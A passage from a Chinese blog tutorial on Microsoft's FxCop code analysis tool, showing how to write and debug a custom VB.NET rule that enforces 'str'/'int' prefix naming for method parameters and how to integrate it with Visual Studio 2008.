最新版本的是FxCop 10.0。我是使用FxCop 1.36版的。FxCop 10.0可以到微软的官网下载。FxCop 1.36可以到床上等你上下载。微软的1.36这个版本的下载链接好像失效了。

2、安装:略

3、运行界面:

1)、打开FxCop程序,单击“Project”|“Add Targets”命令,添加待检查的程序集,可添加多个。
2)、打开FxCop程序,单击“Project”|“Add Rules”命令,添加自定义的规则,可添加多个。
3)、单击工具栏上的“Analyze”按钮,FxCop将自动执行检测,检测完毕后,结果将在右侧的列表中显示。单击某个列表项,FxCop下方将显示该结果的详细信息。如图上图所示。

这里使用的都是微软自带的规则,你还可以自定义规则,见下一节。

FxCop自定义引擎:

FxCop能实现自定义的引擎规则,这里我用个例子来说明。例子是参数命名使用Camel命名规范,格式为:对象类型+对象描述。

1、用vs2008创建一个 class library。fxcop还需要一个定义规则的XML文件。TypeName表示定义一规则的类名。Description表示错误信息。将此xml定义成嵌入的资源。

<?xml version="1.0" encoding="utf-8"?> <Rules FriendlyName="自定义规则"> <Rule TypeName="FunctionParametersCheck" Category="参数命名规范" CheckId="C10001"> <Name>参数命名请采用Camel命名规范</Name> <Description> 参数命名请采用Camel命名规范,格式为:对象类型+对象描述。 </Description> <Url>www.cnblogs.com/zhuqil</Url> <Resolution> 函数{0}的参数{1}命名不符合Camel命名规范,格式为:对象类型+对象描述。 Integer int intQuantity String str strFname </Resolution> <Email>zhuqi0@126.com</Email> <MessageLevel Certainty="80">Warning</MessageLevel> <FixCategories>NonBreaking</FixCategories> <Owner>skylin</Owner> </Rule> </Rules>

2、在内库项目中引用Microsoft.Cci.dll和FxCopSdk.dll两个dll文件。添加一个类FunctionParametersCheck。继承BaseIntrospectionRule。

'功能: 参数命名请采用Camel命名规范 '创建人: 朱祁林 '创建时间:2010-12-07 '修改人: 朱祁林 '修改时间:2010-12-07 Imports Microsoft.FxCop.Sdk Imports System Namespace MySoftRules Public Class FunctionParametersCheck Inherits BaseIntrospectionRule ' Methods Public Sub New() MyBase.New("FunctionParametersCheck", "CustomRules.CustomXMLRules", GetType(FunctionParametersCheck).Assembly) End Sub Public Overrides Function Check(ByVal member As Member) As ProblemCollection Dim method As Method = TryCast(member, Method) If ((Not method Is Nothing) AndAlso (method.DeclaringMember Is Nothing)) Then Dim i As Integer For i = 0 To method.Parameters.Count - 1 'true:找到不符合规范的参数,false表示没有找到不符合规范的参数 Dim blnFoundAddString As Boolean = False Dim strFullType As String = method.Parameters.Item(i).Type.FullName Dim strType As String = strFullType.Substring((strFullType.LastIndexOf(".") + 1), ((strFullType.Length - strFullType.LastIndexOf(".")) - 1)) Dim strName As String = method.Parameters.Item(i).Name.Name If strType.ToLower() = "string" Then blnFoundAddString = CheckField(strName, "str") ElseIf strType.ToLower() = "int32" Then blnFoundAddString = CheckField(strName, "int") End If If blnFoundAddString Then Dim resolu As Resolution = MyBase.GetResolution(method.ToString, strName) MyBase.Problems.Add(New Problem(resolu)) End If Next i End If Return MyBase.Problems End Function '检查命名规范 Private Function CheckField(ByVal strName As String, ByVal strAbbreviation As String) As Boolean Dim intLength As Integer = strAbbreviation.Length Try If (strName.Substring(0, intLength) <> strAbbreviation) Then Return True End If If Char.IsLower(strName.Chars(strAbbreviation.Length)) Then Return True End If Catch obj1 As Exception Return True End Try Return False End Function End Class End Namespace

从上面代码可以看出,在类的构造函数中,关联了开始定义的XML文件。为了简便起见,这里只对string和int两种类型说明。

得到CustomRules.dll这个最终的输出。

使用:有两种方法使用。

1、使用fxcop工具,见前文

2、与vs2008集成,将这个dll放置到:VS2008安装路径\Microsoft Visual Studio 9.0\Team Tools\Static Analysis Tools\FxCop\Rules\目录下。选择一个项目,鼠标右键点击“运行代码分析”。

分析结果将显示在”错误列表”的”警告”标签页中。双击其中一项,即可定位到不符合规范的源代码行,即可进行代码调整。

将不符合规范的代码:

调整为:

调试:可以看到我们建立的是类库项目,那么如何进行调试来进行开发呢。

1、修改类库项目的属性,将启动外部程序改成安装的FxcopCmd.exe:

2、将命令行参数修改成:out:”results.xml” /file:”C:\MyRules\TestProject\bin\Debug\TestProject.dll” /rule:”CustomRules.dll” /D:”C:\Program Files\Microsoft FxCop 1.36″

3、这样就可以调试了。

总结:本文详细介绍了FxCop的使用过程,并通过一个示例来进行说明。FxCop是对中间语言进行检测的,所以这里的代码同样适用于C#

代码:http://files.cnblogs.com/zhuqil/MyRules.rar

作者:朱祁林
出处:http://zhuqil.cnblogs.com
本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利。